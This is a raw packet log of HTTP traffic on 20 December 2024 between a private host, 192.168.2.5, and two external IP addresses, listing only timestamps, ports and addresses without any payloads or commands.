Dec 20, 2024 02:11:42.770365953 CET	49929	80	192.168.2.5	147.45.113.159
Dec 20, 2024 02:11:42.770402908 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:42.770417929 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:42.770462036 CET	49929	80	192.168.2.5	147.45.113.159
Dec 20, 2024 02:11:42.770539999 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:42.770553112 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:42.770586014 CET	49929	80	192.168.2.5	147.45.113.159
Dec 20, 2024 02:11:42.770682096 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.770787001 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.770802975 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:42.770837069 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:42.770853996 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.770946026 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:42.770960093 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:42.770972967 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:42.770984888 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:42.771132946 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:42.771147013 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:42.771152020 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:42.771157980 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.771317959 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.771332026 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:42.771343946 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:42.771357059 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:42.771368980 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.771384001 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:42.771397114 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:42.771409035 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:42.771423101 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:42.771446943 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:42.771507978 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:42.771522045 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:42.771537066 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:42.771667004 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:42.771680117 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:42.771723986 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:42.771778107 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:42.771831989 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:42.771945000 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:42.771960020 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.772039890 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.772053957 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:42.772068024 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:42.772080898 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.772094011 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:42.772106886 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:42.772136927 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:42.772150040 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:42.772228956 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:42.772806883 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.772936106 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.773031950 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.773691893 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.773719072 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.773768902 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.774478912 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.774580002 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.774626017 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.775352001 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.775454044 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.775499105 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.776192904 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.776392937 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.776473999 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.777034998 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.777092934 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.777138948 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.777844906 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.777945995 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.777990103 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.778721094 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.778811932 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.778860092 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.779511929 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.779635906 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.779684067 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.780374050 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.780575037 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.780622005 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.781187057 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.781313896 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.781358957 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.782063007 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.782185078 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.782228947 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.782922029 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.783075094 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.783128977 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.783711910 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.783797979 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.783837080 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.784589052 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.784821033 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.784872055 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.785445929 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.785550117 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.785650015 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.786268950 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.786403894 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.786453962 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.787147999 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.787292957 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.787722111 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.787982941 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.788163900 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.788206100 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.788804054 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.788918972 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.789635897 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.789822102 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.790472984 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.790595055 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.791333914 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.791516066 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.792179108 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.792258978 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.793047905 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.793193102 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.793862104 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.793942928 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.794718981 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.794815063 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.795546055 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.795658112 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.796413898 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.796520948 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.796715021 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.797223091 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.797322035 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.797370911 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.798026085 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.798187971 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.798240900 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.798928976 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.799000978 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.799108982 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.799747944 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.799861908 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.799905062 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.800578117 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.800721884 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.800883055 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.801465988 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.801537037 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.801578045 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.802253962 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.802381039 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.802541018 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.803100109 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.803230047 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.803319931 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.803950071 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.804080009 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.804131031 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.805037975 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.805056095 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.805099010 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.805636883 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.805721045 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.805763006 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.806478977 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.806587934 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.806632996 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.807348967 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.807496071 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.807548046 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.808198929 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.808340073 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.808397055 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.809012890 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.809166908 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.809228897 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.809873104 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.809986115 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.810388088 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.810712099 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.810826063 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.810894012 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.811577082 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.811748028 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.811805964 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.812390089 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.812510014 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.812562943 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.813257933 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.813309908 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.813406944 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.814066887 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.814239025 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.814543962 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.814706087 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:42.814862013 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.827692986 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.887274981 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:42.887343884 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:42.887377977 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:42.887427092 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:42.887546062 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:42.887574911 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:42.887607098 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:42.887908936 CET	49929	80	192.168.2.5	147.45.113.159
Dec 20, 2024 02:11:42.887989044 CET	49929	80	192.168.2.5	147.45.113.159
Dec 20, 2024 02:11:42.889714956 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:42.889842033 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:42.889870882 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:42.889998913 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:42.890027046 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:42.890074968 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:42.890103102 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:42.890136003 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:42.890183926 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:42.890312910 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:42.890340090 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:42.890371084 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:42.890486956 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:42.890513897 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:42.890562057 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:42.890588999 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:42.890619993 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:42.890671015 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:42.890702009 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:42.890820980 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:42.890850067 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:42.890898943 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:42.890928984 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:42.890976906 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:42.891005039 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:42.891036034 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:42.891083002 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:42.891150951 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:42.891200066 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:42.891350985 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:42.891377926 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:42.891405106 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:42.891431093 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:42.891477108 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:42.891505957 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:42.891551018 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:42.891577959 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:42.891624928 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:42.891652107 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:42.891683102 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:42.891730070 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:42.891774893 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:42.891843081 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:42.891876936 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:42.891926050 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:42.891978979 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:42.892076969 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:42.892103910 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:42.892175913 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:42.892204046 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:42.892231941 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:42.892280102 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:42.892307043 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:42.892338037 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:42.892832041 CET	49929	80	192.168.2.5	147.45.113.159
Dec 20, 2024 02:11:42.892899990 CET	49929	80	192.168.2.5	147.45.113.159
Dec 20, 2024 02:11:42.962651968 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.962769985 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.962836981 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.962977886 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.963145018 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.963203907 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.963864088 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.963994980 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.964102983 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.964689016 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.964900017 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.964998007 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.965570927 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.965729952 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.965805054 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.966412067 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.967116117 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.967199087 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.967269897 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.967304945 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.967380047 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.968056917 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.968199015 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.968257904 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.968842030 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.968950033 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.969003916 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.969727039 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.969861031 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.970535040 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.970592022 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.970606089 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.970892906 CET	443	49927	172.67.209.202	192.168.2.5
Dec 20, 2024 02:11:42.970972061 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.971421003 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.971524000 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.971642971 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.972290993 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.972417116 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.972481966 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.973087072 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.973205090 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.973262072 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.973939896 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.974071980 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.974137068 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.974759102 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.974890947 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.974960089 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.975595951 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.975718975 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.975769043 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.976448059 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.976561069 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.976614952 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.977314949 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.977499962 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.977880955 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.978185892 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.978271008 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.978332043 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.979033947 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.979166985 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.979229927 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.979867935 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.980036020 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.980223894 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.980681896 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.980799913 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.980876923 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.981547117 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.981715918 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.981774092 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.982377052 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.982510090 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.982559919 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.983630896 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.983798027 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.983850002 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.984056950 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.984180927 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.984239101 CET	49923	80	192.168.2.5	185.215.113.16
